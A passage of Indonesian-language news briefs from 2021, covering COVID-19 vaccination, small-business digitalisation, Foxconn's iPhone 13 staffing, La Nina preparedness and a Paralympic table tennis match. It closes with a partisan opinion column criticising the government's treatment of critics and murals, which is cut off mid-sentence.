Indonesia akan tetap eksis dan terus mewariskan budaya dari kerajaan negara ini," katanya. (sws)

Menteri Keuangan Malaysia Kunjungi Ketua Melayu Aceh

Kuala Lumpur, FNN - Menteri Keuangan Malaysia yang akan dilantik Senin (30/8), Zafrul Tengku Abdul Aziz, mengunjungi Ketua Persatuan Melayu Berketurunan Aceh (PERMEBAM) dan Ketua ALK Koperasi Masa Kuala Lumpur Berhad, Datuk Mansyur bin Usman. "Saya mengucapkan tahniah (selamat) yang setinggi-tingginya atas amanah dan kepercayaan yang diberikan oleh Perdana Menteri Malaysia kepada Tengku sebagai Menteri Keuangan," kata Mansyur di Kuala Lumpur, Sabtu. Mansyur mendoakan Tengku Zafrul dapat melaksanakan tanggung jawab tersebut dengan baik untuk membawa Malaysia kembali ke landasan yang tepat di tengah wabah COVID-19 saat ini. "Saya merasa bertuah dapat berjumpa dengan Tengku semalam makan cendol durian di Chow Kit dan berharap pada masa depan dapat kembali bertemu untuk mendapatkan pandangan dan bimbingan dari Tengku untuk menghadapi tantangan di dalam dunia perniagaan yang kami ceburi sekarang ini," katanya kepada Zafrul. Pada kesempatan tersebut, Zafrul menyampaikan harapan kepada Mansyur agar merancang program Usaha Kecil Menengah (UKM) melalui KADIN untuk membina UKM Melayu dan Aceh di Kuala Lumpur. Menurut dia, Mansyur bisa terlibat dalam Pengurusan KADIN di Kuala Lumpur urusan UKM dan kedai eceren serta bisa menjadi langkah awal menuju kursi senator Kuala Lumpur. Zafrul sebelumnya juga merupakan Menteri Keuangan pada era Perdana Menteri Muhyiddin Yassin. (mth)

Ma'ruf Amin: Krisis Pandemi Momentum Transformasi Besar

Jakarta, FNN - Wakil Presiden, Ma’ruf Amin, mengatakan, krisis pandemi Covid-19 menjadi saat yang tepat bagi Indonesia untuk mengejar ketertinggalan dan melakukan transformasi besar untuk mewujudkan cita-cita sebagai negara maju. Hal itu dia katakan saat menyampaikan sambutan pada pembukaan Kongres Nasional II Keluarga Alumni Kesatuan Aksi Mahasiswa Muslim Indonesia (KA-KAMMI) melalui konferensi video dari Jakarta, Sabtu. “Krisis ini memberikan momentum bagi kita untuk mengejar ketertinggalan, melakukan transformasi besar di semua bidang, yang akan mengantarkan bangsa Indonesia Maju, sejajar dengan bangsa-bangsa maju di dunia,” kata dia. Ia mengatakan target pemerintah saat ini ialah bukan hanya menghentikan pandemi Covid-19 di seluruh daerah, tetapi juga melakukan lompatan besar dari bencana itu. “Target kita bukan hanya lepas dari pandemi, bukan sekadar keluar dari krisis, tetapi juga berupaya melakukan lompatan besar dengan mengambil hikmah dari krisis yang saat ini terjadi,” katanya. Oleh karena itu, dia berharap KA-KAMMI mendukung upaya pemerintah dalam percepatan penanganan pandemi Covid-19 dan mempersiapkan pola hidup baru di masa endemi mendatang. “KA-KAMMI juga diharapkan dapat turut mendukung percepatan penanganan pandemi Covid-19, serta mengantisipasi pola hidup baru pascapandemi yang sering disebut para pakar akan berubah menjadi endemi,” ujar dia. Oleh karena itu, dia meminta seluruh pihak untuk mempersiapkan diri dan beradaptasi dengan tatanan dan pola hidup sosial ekonomi masyarakat, agar sehat dan produktif bagi pembangunan bangsa. (mth)

Jelang Peluncuran iPhone 13, Foxconn Kekurangan 200 Ribu Pekerja

Beijing, FNN - Beberapa pekan menjelang peluncuran iPhone 13, Foxconn --yang memproduksi telepon pintar Apple generasi terbaru tersebut mengalami kekurangan sekitar 200.000 ribu pekerja akibat bencana banjir di Kota Zhengzhou, demikian media China, Sabtu. Foxconn merupakan perusahaan elektronik berbasis di Taiwan yang memproduksi gawai-gawai merek ternama, termasuk Apple dari Amerika Serikat. Foxconn di Zhengzhou memproduksi separuh produk iPhone yang beredar di dunia, terutama untuk pasar China dan Asia Tenggara. Butuh sekitar 200.000 pekerja agar bisa memenuhi produksi sebelum iPhone 13 diluncurkan pada September mendatang, demikian Deputi General Manager Foxconn Zhengzhou Wang Xue dikutip Global Times. Media lokal melaporkan bahwa Foxconn Zhengzhou saat ini mempekerjakan 350.000 orang yang bisa memproduksi 500.000 unit ponsel per hari. Selain di Zhengzhou, Foxconn di Shenzhen dan Chengdu juga membutuhkan pekerja untuk memenuhi target produksi iPhone 13. "Kami butuh sekitar 5.000 pekerja baru sesuai kapasitas produksi mingguan, tapi saat ini susah memenuhi target tersebut," kata seorang manajer Foxconn Shenzhen. Untuk menambah semangat para pekerja, beberapa pabrik Foxconn menaikkan bonus bagi kandidat baru dari sekitar 9.800 yuan atau sekitar Rp21,6 juta menjadi 10.000 yuan (Rp22,1 juta) jika mereka bekerja hingga 90 hari. Selain banjir di Zhengzhou, kendala produksi iPhone itu juga disebabkan oleh pandemi COVID-19 varian Delta di beberapa negara Asia Tenggara, termasuk Vietnam. Seperti diberitakan ANTARA sebelumnya, beberapa pabrik Foxconn di Zhengzhou, Provinsi Henan, terendam bencana banjir yang menewaskan sedikitnya 300 orang pada Juli. (mth)

Digitalisasi dan Kolaborasi Kunci UMKM Tumbuhkan Ekonomi Inklusif

Jakarta, FNN - Menteri Badan Usaha Milik Negara (BUMN) Erick Thohir sepakat dengan hasil riset berjudul “Digitalisasi UMKM - Kunci Pertumbuhan Inklusif Perekonomian Indonesia” yang mengungkapkan bahwa digitalisasi dan kolaborasi adalah kunci dalam menumbuhkan ekosistem ekonomi inklusif pada Usaha Mikro, Kecil, dan Menengah (UMKM). Erick Thohir menyebutkan bahwa riset sejenis itu dibutuhkan untuk menggali potensi UMKM di Tanah Air karena UMKM merupakan tulang punggung dari perekonomian nasional. “Hadirnya teknologi serta platform digital tentunya akan memudahkan kita untuk mendukung pertumbuhan UMKM. Semua ini sejalan dengan harapan Presiden Joko Widodo untuk meningkatkan ekonomi digital Indonesia,” ujar Menteri BUMN Erick Thohir dalam keterangan tertulisnya, Sabtu. UMKM di Indonesia dalam riset itu dibuktikan telah menjadi penyerap hasil produksi dari para penyedia bahan mentah, selain itu UMKM berhasil membuka lapangan kerja bagi komunitas di lingkungan sekitarnya untuk membantu proses produksi dan pengoperasi bisnis. Kehadiran UMKM menjadi kesempatan usaha baru bagi pedagang eceran dan distributor karena bisa menghadirkan lebih banyak variasi produk di pasar- pasar lokal. Dalam riset yang dikerjakan oleh Litbang Kompas, Boston Consulting Group (BCG), serta e-commerce besutan anak bangsa yaitu Blibli didapatkan fakta bahwa 77 persen pelaku UMKM memberdayakan orang- orang dari komunitasnya dan merupakan langkah yang baik karena bisa memunculkan lima kesempatan lapangan kerja di lingkungan setempat. Digitalisasi UMKM juga krusial karena bisa meningkatkan kemampuannya untuk berbisnis mencapai pasar yang lebih luas. Keberadaan digitalisasi menjadi penting di masa sulit seperti pandemi karena bisa membantu dan menopang UMKM khususnya seperti di masa pandemi yang menyebabkan terjadinya penurunan penjualan, penyusutan sumber permodalan, serta penyumbatan jalur distribusi. Penting agar kolaborasi antarsektor bisa terjadi dengan maksimal untuk memberikan UMKM literasi digital sehingga digitalisasi bisa dirasakan secara merata oleh puluhan juta pelaku UMKM di Indonesia. Pelatihan lainnya yang penting bagi UMKM adalah pelatihan mengembangkan produk dan usaha, mulai dari membuat pengemasan yang modern hingga mendapatkan sertifikasi yang relevan, agar memenangkan pelanggan dan kompetisi pasar di platform online. Peneliti Litbang Kompas BE Satrio menambahkan bahwa mayoritas UMKM saat ini sudah memahami pentingnya teknologi digital, dengan data 74 persen dari UMKM yang disurvei telah familiar dengan kehadiran e-commerce. Sayangnya baru 20 persen yang memiliki literasi digital memadai untuk memanfaatkan teknologi secara optimal. Terbatasnya literasi digital berakar dari berbagai sumber seperti kurangnya akses ke perangkat teknologi dan pendanaan. “Sebab itu, meningkatkan literasi digital pun membutuhkan pendekatan multisektoral. Semua pihak juga selayaknya bahu-membahu karena digitalisasi UMKM akan menciptakan multiplier effect yang membawa balik manfaat ke seluruh sektor ekonomi. UMKM yang sudah go online menghasilkan pendapatan 1,1 kali lebih tinggi dibanding yang offline dan penghasilan yang lebih baik ini memungkinkan UMKM online untuk semakin memperluas bisnis, dengan demikian menyerap lebih banyak sumber daya,” kata Satrio. Riset ini pun merekam bahwa UMKM daring, dalam mengoptimalkan kapasitas usaha, mempekerjakan 1,4 kali lebih banyak orang dibanding UMKM tradisional. President Director PT Boston Consulting Indonesia Haikal Siregar menyatakan bahwa multiplier effect yang dihasilkan oleh digitalisasi UMKM pada akhirnya akan mengakselerasi pertumbuhan ekonomi inklusif Indonesia di masa depan. “Peningkatan digital literacy UMKM hingga menyentuh 50 persen akan berdampak pada pertumbuhan Produk Domestik Bruto (PDB) Indonesia dengan nilai yang diperkirakan sebesar 38 miliar dolar AS. Selain menghadirkan kanal penjualan, teknologi digital juga membantu UMKM dengan memperluas akses ke permodalan karena data dari platform digital dapat digunakan sebagai insights saat merancang program peminjaman yang sesuai dengan sektor tersebut,” tambah Haikal. Riset juga menyimpulkan bahwa perampingan kebijakan usaha, termasuk menghadirkan program untuk mempermudah pengurusan izin bagi UMKM yang ingin go digital, diperlukan untuk mendukung pertumbuhan UMKM. (mth)

BPBD Papua Tingkatkan Koordinasi Terkait Dampak Badai La Nina

Jayapura, FNN - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Papua meningkatkan koordinasi dengan BBMKG Wilayah V Jayapura terkait kesiapan menghadapi cuaca ekstrem yang diakibatkan Badai La Nina pada Oktober 2021 hingga Februari 2022. Kepala BPBD Provinsi Papua Welliam R. Manderi melalui telepon selulernya kepada ANTARA di Jayapura, Sabtu, mengatakan khususnya untuk penyelenggaraan Pekan Olahraga Nasional (PON) XX dan Pekan Paralimpik Nasional (Peparnas) XVI yang tinggal beberapa minggu lagi. "Badai La Nina ini mengakibatkan cuaca ekstrem dan akan dialami tidak hanya Papua namun hampir seluruh wilayah Indonesia," katanya. Menurut Welliam, sehingga sejak dini pihaknya mengimbau BPBD pada seluruh kabupaten dan kota di Provinsi Papua untuk waspada akan dampak yang akan dialami dari Badai La Nina. "Khusus untuk PON, kami akan mengingatkan PB PON agar lebih memperhatikan pelaksanaan pertandingan yang dilakukan di luar ruangan seperti para layang atau cabang olahraga di laut," ujarnya. Ia menjelaskan apalagi pada beberapa minggu ke depan, ada beberapa cabang olahraga yang akan mulai bertanding sebelum pembukaan PON XX, pihaknya akan berkoordinasi dan menginformasikan hal-hal yang harus diwaspadai agar segera diambil langkah-langkah antisipasi atau penanganan. "Sedangkan bagi masyarakat yang berada di daerah berpotensi bencana juga diharapkan waspada dan memperhatikan imbauan atau peringatan yang diberikan pemerintah terkait cuaca ekstrem," katanya lagi. Ia menambahkan masyarakat harus lebih berhati-hati dan waspada menghadapi cuaca ekstrem akibat Badai La Nina ini agar tidak ada korban jiwa dan kerugian materiil. (mth)

Sebanyak 1.718 Nakes di Kota Kupang Dapat Suntikan Vaksin Dosis Tiga

Kupang, FNN - Dinas Kesehatan Kota Kupang, Provinsi Nusa Tenggara Timur, mencatat 1.718 tenaga kesehatan di daerah itu telah mendapat vaksinasi dosis tiga COVID-19. Wakil Wali Kota Kupang, Hermanus Man di Kupang, Sabtu mengatakan vaksinasi terhadap tenaga kesehatan untuk dosis tiga terus dilakukan hingga seluruh tenaga kesehatan mendapat vaksinasi tambahan itu guna mencegah terjangkitnya virus corona, Dia mengatakan capaian vaksinasi untuk warga di Ibu Kota Provinsi NTT ini terus meningkat menyusul tingginya animo warga untuk mendapat vaksinasi. Dia mengatakan capaian vaksinasi untuk dosis pertama sudah mencapai 191.463 sasaran dengan capaian 57,38 persen. Sementara itu dosis dua dengan sasaran 124.434 orang dengan capaian 37,29 persen yang telah mendapatkan vaksin. "Pemerintah Kota Kupang terus bekerja keras agar cakupan vaksinasi di kota ini terus meningkat dengan terus mendorong warga melakukan vaksinasi," kata Hermanus Man. Dikatakannya, Pemerintah Kota Kupang menargetkan pada Oktober 2021 capaian vaksinasi di kota itu mencapai 80 persen dari target 333.628 orang sasaran. Dia mengatakan pelaksanaan vaksinasi bagi warga Kota Kupang, baik dosis pertama maupun kedua masih terus berlangsung di berbagai fasilitas kesehatan, seperti puskesmas maupun rumah sakit di daerah itu. (mth)

David Jacobs Melaju ke Semifinal Para-Tenis Meja Paralimpiade Tokyo

Jakarta, FNN - David Jacobs melaju ke semifinal cabang olahraga para-tenis meja kelas 10 di Paralimpiade Tokyo 2020 setelah mengalahkan atlet asal China, Lian Hao di Tokyo Metropolitan Gymnasium, Jepang, Sabtu. David harus melewati pertandingan ketat sebelum akhirnya menang dengan skor 3-2 (11-6, 22-10, 6-11, 10-12, 17-15). Pada dua gim awal, David mampu mengontrol pertandingan sehingga meraih kemenangan. Namun memasuki gim ketiga, Hao mulai bisa membaca gaya permainan David sehingga merebut gim ketiga dan keempat. Laga kemudian dilanjutkan ke gim penentu atau kelima. Pada awal gim penentuan itu, David belum bisa kembali menemukan permainan terbaiknya. Unggulan kedua tersebut sempat tertinggal jauh 1-6 dan 7-10. Beruntung David bisa menyamakan kedudukan 10-10 sehingga pertandingan dilanjutkan ke deuce. Berkat ketenangan dan mental, David Jacobs akhirnya mampu menghentikan perlawanan Hao dengan merebut gim kelima 17-15. "Sangat bersyukur bisa menang dan masuk ke semifinal," kata David Jacobs usai pertandingan seperti rilis resmi NPC Indonesia, Sabtu. “Ya, sepanjang pertandingan tadi saya tidak mau menyerah dan terus mencari cara agar tetap bisa mengubah permainan. Saya terus berdoa untuk tidak putus asa," ujar David menambahkan. Namun, keberhasilan David hari ini tidak diikuti kompatriotnya Komet Akbar. Komet yang berlaga pada perempat final kelas 10, harus mengakui keunggulan pemain unggulan empat asal Prancis, Mateo Boheas, 1-3 (12-14, 5-11, 11-5, 10-12). "Permainan Mateo hari ini bagus. Secara peringkat memang dia jauh lebih unggul dari saya,” kata Komet. Hasil berbeda yang dialami oleh dua atlet para-tenis meja ini mendapat apresiasi dari Wakil Sekretaris Jenderal NPC Indonesia, Rima Ferdianto. “Meski perbedaan peringkat Komet dengan Mateo cukup jauh, secara permainan tadi cukup berimbang. Sayangnya pada gim keempat Komet sedikit tidak tenang dalam bermain meski sudah memegang kendali permainan,” jelas Rima. "Secara keseluruhan permainan Komet bagus dan saya mengapresiasi penampilannya karena perjuangan Komet masih berlanjut di nomor beregu,” tambah Rima. Rima yang juga pelatih para-tenis meja Indonesia itu juga mengaku tegang saat menyaksikan perjuangan David Jacobs saat mengalahkan Hao. "Untuk David Jacobs, kemenangan tadi itu merupakan izin Tuhan karena di gim kelima ia tertinggal terlalu jauh. Kita sempat berpikir David akan kalah, tetapi dengan izin Tuhan, David bisa mengejar ketertinggalannya dan berhasil menang,” kata Rima. Selanjutnya pada babak semifinal David Jacobs akan melawan pemain Prancis yang mengalahkan Komet Akbar, Mateo Boheas. (mth)

Kemenperin Pantau Uji Coba Prokes Industri Pensil dan Alat Musik

Jakarta, FNN - Kementerian Perindustrian terus memantau aktivitas industri yang tergolong kritikal atau esensial dalam menerapkan protokol kesehatan (prokes) selama uji coba beroperasi penuh untuk industri pensil dan alat musik. “Perusahaan industri yang melaksanakan operasional dan mobilitasnya pada masa pandemi Covid-19, wajib menerapkan protokol kesehatan secara ketat dan disiplin guna percepatan penanganan dan pengendalian pandemi Covid-19,” tutur Plt. Direktur Jenderal Industri Kecil, Menengah dan Aneka (IKMA) Kemenperin Reni Yanita di Jakarta, Sabtu. Guna memastikan langsung implementasinya Reni didampingi Juru Bicara Kemenperin Febri Hendri melakukan kunjungan kerja ke perusahaan industri pemegang IOMKI, yaitu PT A.W. Faber-Castell Indonesia dan PT Yamaha Music Manufacturing Asia di Bekasi, Jawa Barat, Kamis (26/8). Kedua perusahaan tersebut merupakan sektor esensial yang diikutsertakan dalam uji coba protokol kesehatan saat PPKM, dengan beroperasi 100 persen sehingga dapat memenuhi kebutuhan pasar domestik dan ekspor. “Kami ingin memastikan perusahaan sudah melakukan penerapan protokol kesehatan dan pencegahan Covid-19, khususnya perusahaan yang tergolong kritikal dan esensial agar terjaminnya produktivitas dan tenaga kerja yang tetap terjaga,” lanjut Reni. Langkah strategis ini diharapkan dapat membawa pada prioritas keselamatan masyarakat serta pemulihan ekonomi nasional. PT A.W. Faber-Castell Indonesia yang berdiri sejak tahun 1990 adalah produsen pensil dan pensil warna. Perusahaan asal Jerman ini mempunyai jumlah tenaga kerja sebanyak 453 orang. Direktur PT A.W. Faber-Castell Indonesia FX Gianto Setiadi menyampaikan sebagai upaya terhadap penerapan protokol kesehatan, perusahaan telah mempunyai tim Satgas Pencegahan Covid-19 dan sebanyak 324 pekerja (71,5 persen) telah mengikuti program vaksinisasi. Bentuk upaya lainnya dalam mencegah penyebaran Covid-19 di lingkungan pabrik, yakni pengaturan shift karyawan dibagi menjadi dua dengan mengikuti ketentuan 50 persen per shift. Selain itu, pemberian masker dan vitamin, melakukan swab test dan penyemprotan disinfektan secara rutin, screening dengan menggunakan aplikasi PeduliLindungi, menyediakan shelter khusus bagi pekerja yang terpapar Covid-19, serta menjalankan 6M dan 3T. Sedangkan, PT Yamaha Music Manufacturing Asia adalah perusahaan bergerak di bidang pembuatan alat musik elektronik seperti piano digital, drum digital, analog mixer dan digital mixer, yang dipasarkan ke 53 negara. PT Yamaha Music Manufacturing Asia merupakan perusahaan asal Jepang dengan jumlah tenaga kerja saat ini sebanyak 4.153 orang. Presiden Direktur PT Yamaha Music Manufacturing Asia Toshiaki Goto menyampaikan bahwa ikhtiar perusahaan dalam penerapan protokol kesehatan, di antaranya dengan membentuk tim Satgas untuk pencegahan penyebaran Covid-19 dan menjalankan program vaksinasi industri. “Kami menyaksikan secara langsung bahwa penerapan protokol kesehatan pada dua perusahaan tersebut sudah sesuai dengan kebijakan yang ditetapkan pemerintah. Hal ini dapat menjadi contoh bagi industri lainnya,” kata Reni. Menurutnya, industri merupakan salah satu sektor ekonomi yang vital bagi Indonesia, karena berkontribusi terhadap pendapatan negara melalui capaian nilai investasi, ekspor, dan pajak, bahkan juga berperan dalam penyerapan tenaga kerja. “Pengaturan IOMKI menjadi upaya pemerintah agar sektor industri tetap beroperasi secara produktif, aman dan terkendali di masa pandemi ini,” katanya. Selain guna menjaga aktivitas produksi sektor industri tetap berjalan, pemberian IOMKI juga sekaligus mengatur dan mengawasi pelaksanaan protokol kesehatan secara ketat dan konsisten oleh manajemen perusahaan dan para pekerja. (mth)

Rekor, India Suntikkan 10 Juta Dosis Vaksin Sehari

New Delhi, FNN - India pada Jumat (27/8) mencatat rekor dengan menyuntikkan 10 juta dosis vaksin COVID-19 sehari, demikian diungkapkan Kementerian Kesehatan India. Angka yang dirilis oleh kementerian menunjukkan bahwa total 10.064.032 dosis vaksin telah diberikan di seluruh wilayah India dalam sehari. Angka itu menambah jumlah total dosis yang telah dikeluarkan menjadi 620 juta. Perdana Menteri Narendra Modi menyebutkan pencapaian itu merupakan sebuah "prestasi bersejarah." "Jumlah vaksinasi hari ini rekor!," cuit Modi. "Melampaui 10 juta (dosis) menjadi prestasi bersejarah. "Salut untuk mereka yang sudah divaksin dan mereka yang membuat vaksinasi berjalan sukses." Pada Jumat pagi, kementerian melaporkan bahwa 44.658 kasus tercatat dalam 24 jam terakhir sehingga totalnya mencapai 32,6 juta. Tercatat pula 496 kematian, sehingga secara kumulatif berjumlah 436.861 saat negeri Bollywood itu bergulat dengan gelombang kedua wabah COVID-19. (mth)

Gubernur Babel Gencarkan Sosialisasi Prokes COVID-19 di Desa Terpencil

Bangka, FNN - Gubernur Kepulauan Bangka Belitung Erzaldi Rosman Djohan menggencarkan sosialisasi mengenai protokol kesehatan COVID-19 di desa terpencil dan pulau kecil, guna meningkatkan pemahaman warga dalam mencegah penyebaran virus corona jenis baru itu. "Kita harus menjaga kesehatan. COVID-19 ini berbahaya, apalagi kalau kita ada riwayat penyakit gula, jantung, stroke, asma, darah tinggi atau paru-paru. Ini yang bisa membahayakan nyawa kita," kata Erzaldi Rosman, saat kunjungan kerja di Desa Saing, Bangka, Sabtu. Ia mengaku dalam setiap kunjungan kerja di desa dan pulau kecil, orang nomor satu di Pemerintah Provinsi Kepulauan Bangka Belitung (Babel) itu lebih memfokuskan pada peningkatan pemahaman warga dalam mencegah dan memutus mata rantai penularan COVID-19. "Ibu bapak harus pakai masker ya, jaga kesehatan. Insya Allah untuk vaksin akan kami lakukan segera. Jangan tidak vaksin, masker juga dipakai terus kalau keluar rumah," ujarnya. Menurut dia dengan disiplin mengikuti protokol kesehatan dan vaksin COVID-19 ini dapat terhindar dari virus corona. Apalagi saat ini sudah ditemukan kasus COVID-19 varian delta di Bangka Belitung yang lebih berbahaya dan cepat menular, "COVID-19 varian delta ini merupakan varian baru dan lebih berbahaya, mengharuskan seluruh masyarakat untuk lebih waspada dan tidak menganggap remeh kondisi saat ini," katanya. Selain mematuhi protokol kesehatan, gubernur juga meminta kepada masyarakat Desa Saing untuk tetap menjaga ketahanan tubuh agar dapat terhindar dari penyebaran corona. "Memang mati di tangan Allah, tapi jangan lantas membuat kita sombong. Kita tetap harus menjaga diri dengan memakai masker, cuci tangan lebih sering, kalau keluar rumah pakai masker. Saat pulang, mandi dulu, cuci tangan, baru berinteraksi dengan keluarga," ujarnya. (mth)

Dukung Gernas BBI Pelangi Sulawesi, BNI Kurasi dan Digitalisasi UMKM

Jakarta, FNN - Bank Negara Indonesia (BNI) turut ambil bagian dalam Gerakan Nasional Bangga Buatan Indonesia yang digagas Presiden Joko Widodo melalui kampanye Pelangi Sulawesi dengan ikut mengkurasi dan memberikan pendampingan kepada 111 UMKM yang memiliki produk berdaya saing global. Kegiatan itu dilaksanakan bersama dengan Bank Indonesia dan Pemerintah Daerah Sulawesi Utara. "Proses kurasi ini telah kami lakukan ke berbagai UMKM, antara lain kerajinan kain, makanan olahan, hingga kopi," kata Wakil Direktur Utama BNI Adi Sulistyowati lewat keterangannya di Jakarta, Sabtu. Susi, demikian sapaan akrabnya, mengatakan bahwa Gernas BBI 2021 selaras dengan fokus BNI untuk mendukung sektor UMKM melalui rangkaian kegiatan “Gelegar Entrepreneur”. Rangkaian kegiatan tersebut meliputi Program Enterprenuer Heroes, Festival Ide Bisnis, Pasar Digital UMKM, BNI Trade Forum, dan Xpora, yang membawa UMKM Indonesia menjadi lebih maju, berkembang dan “Lompat Lebih Tinggi” menuju globalisasi dan digitalisasi. Untuk mendukung pelaku UMKM yang berorientasi ekspor, BNI Bersama Kemendag, dan Kementerian Koperasi dan UMKM bekerjasama dalam program BNI Xpora. Program tersebut disiapkan untuk melayani UMKM dengan orientasi ekspor lewat salah satu ONE STOP SHOPPING HUB di SMESCO Jakarta. "Melalui program Xpora, BNI menawarkan solusi digital terintegrasi yang akan membantu para UMKM untuk melakukan transaksi ekspor pasar global dengan tiga fitur utama, yaitu go produktif, go digital, dan go global," kata Susi. Tak hanya itu, BNI juga berkolaborasi dengan Kemenko Maritim dan Investasi, Kementerian BUMN, Kementerian Luar Negeri, dan Kementerian Pariwisata dan Ekonomi Kreatif, serta BUMN dan lembaga terkait untuk meluncurkan program 'INDONESIA SPICE UP THE WORLD'. Terkait kinerja kredit pada UMKM, BNI tetap mencatatkan kinerja positif di tengah tekanan pandemi. Sampai dengan Juni 2021, portofolio kredit UMKM BNI sebesar Rp117 triliun, atau menyumbangkan 20,7 persen dari total kredit Perseroan. Portofolio kredit UMKM BNI tumbuh 9,15 persen secara year on year (YoY), mencerminkan upaya BNI mendukung UMKM untuk pulih dan bangkit mengatasi segala tantangan yang ada di masa pandemi ini. Pertumbuhan kredit UMKM yang signifikan ini secara dominan dikontribusi dari penyaluran Kredit Usaha Rakyat (KUR) sebesar Rp15 triliun hingga Juni 2021 atau naik 101 persen secara YoY. Gernas BBI bertema Pelangi Sulawesi yang diluncurkan merupakan bagian dari rangkaian program Gernas BBI yang didukung oleh beberapa kementerian, otoritas moneter, perbankan, serta pemerintah daerah dengan dipusatkan di Sulawesi. Ajang yang mengangkat tema besar dari Sulawesi ke Mancanegara ini mendorong kecintaan masyarakat Indonesia terhadap produk UMKM dalam negeri. Menteri Koordinator Bidang Kemaritiman dan Investasi (Marves) Luhut Binsar Pandjaitan menuturkan bagaimana UMKM memiliki peran yang sangat krusial bagi perekonomian. "Bagaimana pun perekonomian kita ditunjang oleh UMKM, backbone ekonomi kita adalah UMKM. Kita juga berharap UMKM artisan Sulawesi Utara bisa naik kelas. Kami yakin provinsi Sulawesi Utara akan memberi kontribusi yang signifikan dengan 30 juta UMKM onboarding pada 2023," ujarnya. Senada, Menteri Perdagangan Muhammad Lutfi mengatakan, fokus utama dari Gernas BBI kali ini adalah digitalisasi UMKM. "Hingga pertengahan Agustus tahun 2021, sudah lebih dari 15 juta UMKM atau lebih dari 22 persen dari total UMKM di seluruh Indonesia yang sudah onboarding ke platform perdagangan elektronik," katanya. Adapun dari 15 juta UMKM tersebut, sebut Lutfi, lebih dari 7 juta merupakan hasil onboarding selama masa kampanye Gernas BBI yang telah diluncurkan sejak Mei 2020. "Melihat perkembangan yang positif, kami optimistis target pemerintah untuk mendorong 30 juta UMKM onboarding ke platform digital pada akhir 2023 akan tercapai. Dan bahkan akan melebihi target yang akan ditetapkan oleh Bapak Presiden," imbuhnya. Pada kesempatan yang sama, Menteri Pariwisata dan Ekonomi Kreatif Sandiaga Uno berharap dengan launching Gernas BBI Pelangi Sulawesi, produk artisan Sulawesi menuju pasar global dapat maksimal. "Kemendag yang dipimpin sahabat saya, Bapak Lutfi, juga akan memfasilitasi produk Sulawesi Utara terpilih melalui in store promotion," ungkapnya. Gernas BBI juga didukung Bank Indonesia yang diwujudkan melalui sinergi yang kuat dengan Kementerian dan Pemerintah Daerah. "Dukungan diwujudkan berupa bentuk peningkatan kapasitas UMKM, mendorong peningkatan permintaan, serta menghubungkan UMKM dengan ekosistem ekonomi keuangan digital. Dukungan ini juga diperkuat dengan peran serta kantor-kantor perwakilan Bank Indonesia di seluruh daerah," ujar Gubernur Bank Indonesia Perry Warjiyo. Peluncuran Gernas BBI Pelangi Sulawesi ini turut dihadiri Gubernur Sulawesi Utara Olly Dondokambey yang mengapresiasi kegiatan ini sebagai gagasan untuk mengajak masyarakat mencintai produk lokal. "Di era pemulihan lintas sektor saat ini, ajakan kepada masyarakat menjadi penting dan dibutuhkan, baik untuk membangkitkan perekonomian kita, yang sempat dilemahkan pandemi sejak 2020, maupun menciptakan kecintaan masyarakat kepada daerah," ujar Olly. Olly mengatakan, BBI menjadi tantangan bagi pelaku UMKM dan ekonomi kreatif di daerah untuk menghasilkan produk-produk lokal maupun kerajinan yang kreatif, berkualitas, berbasis tradisi dan warisan budaya, dan terus berinovasi menciptakan produk sesuai dengan kebutuhan pasar. (mth)

Balada Rezim Penakut

SESUNGGUHNYA rakyat harus iba dan kasihan terhadap rezim dan gerombolannya. Mereka tak pernah sepi dari rasa takut. Entah bayangan apa yang menggelayut di matanya. Kelihatannya rasa takutnya sudah akut sehingga kadang mereka takut pada ulahnya sendiri. Jejak ketakutan mereka terekam dengan jelas. Setelah mereka takut terhadap medsos (media sosial) dan ceramah agama, mereka kini takut pada gambar, coretan, dan tulisan alias mural. Bukan mereka tidak berdaya melawan rasa takut. Sebenarnya mereka sangat perkasa dan kuasa. Bahkan kekuasaannya mendekati absolut. Ketakutan terhadap medsos mereka tamengi dengan UU ITE (Undang-Undang Informasi dan Transaksi Elektronik) . Tak puas dengan UU, mereka bendung dengan SE (Surat Edaran) Kapolri tentang Hate Speech. Siapa pun yang ngomong - meski lewat medsos - yang isinya tidak membuat penguasa senang, langsung dipolisikan dan dikandangi. Mereka peralat buzzer untuk memelototi rakyat yang kritis. Mereka eksploitasi buzzer untuk mengawasi setiap kata yang keluar dari mulut rakyat. Kadang-kadang buzzer memancing mancing rakyat biar bisa emosi dan marah. Kalau sudah marah, mereka tinggal lapor polisi lalu diciduk dan dipenjara. Namun, jika buzzer yang melanggar, polisi menjadi buta dan tuli. Perangkap mereka canggih sekaligus kurang ajar. Jiancuk tenan, kata Arek Suroboyo. Terhadap Islam mereka juga takut berlebihan. Mereka takut melihat jenggot, celana cingkrang dan ceramah agama. Mereka juga Parkinson melihat solidaritas dan soliditas umat Islam. Meski takut, mereka tak akan lari. Mereka intip dari bilik-bilik kekuasaan. Mereka melawan dengan segala kemampuan menggunakan tangan binaan. Perangkat hukum mereka pakai untuk bemper rasa takut. HTI (Hizbut Tahrir Indonesia) dibubarkan, FPI (Front Pembela Islam) diluluh-lantakkan. Ceramah agama dimata-matai dan kajiannya diintimidasi. Padahal, sejak 14 abad yang lalu ceramah agama ya seperti itu. Ada yang teriak-teriak sambil mengacungkan jari, ada yang gebrak meja, dan banyak yang lembut bersahaja. Tetapi, mereka sebatas ceramah. Tidak ada yang berubah baik isi ceramah maupun cara penyampaiannya. Mengapa tiba-tiba sang Rezim Petugas Partai alergi terhadap Islam. Bahkan semua yang berbau Islam seakan akan harus salah dan layak dibenci? Dulu mereka juga takut pada kaos dan baliho.Takut pula pada gambar Habib Rizieq. Fotonya diinjak dan dibakar dengan penuh kebencian. Belum lama ini sang pembakar sudah game over. Dia adalah Budi Djarot, yang kuburannya viral karena sempat amblas. Entah karena apa? Kini ketakutan rezim makin parah, mendekati stadium 4. Mereka tidak kuasa menatap mural anak-anak muda yang sedang berkreasi dengan tulisan kritis dan kreatif. Padahal, mural hanyalah saluran belaka, setelah tidak ada lagi tempat mengadu. Wakil rakyat tidak mungkin mendengarkan suara hati rakyat karena mereka sudah senyawa dengan rezim. Apa yang tertulis di tembok- tembok jalanan itu sesungguhnya suasana batin rakyat. Lihat saja bagaimana mereka secara lugas menyampaikan perasaan batin mereka. "Yang bisa dipercaya dari TV Cuma Adzan", "Kami Lapar Tuhan", "Jangan takut tuan-tuan, ini cuma street art." Begitu takutnya dengan grafiti itu, sehingga membuat rezim langsung perintahkan aparat menghapusnya. Sebelumnya, mural di sejumlah daerah dihapus oleh aparat. Misalnya, mural yang menggambarkan 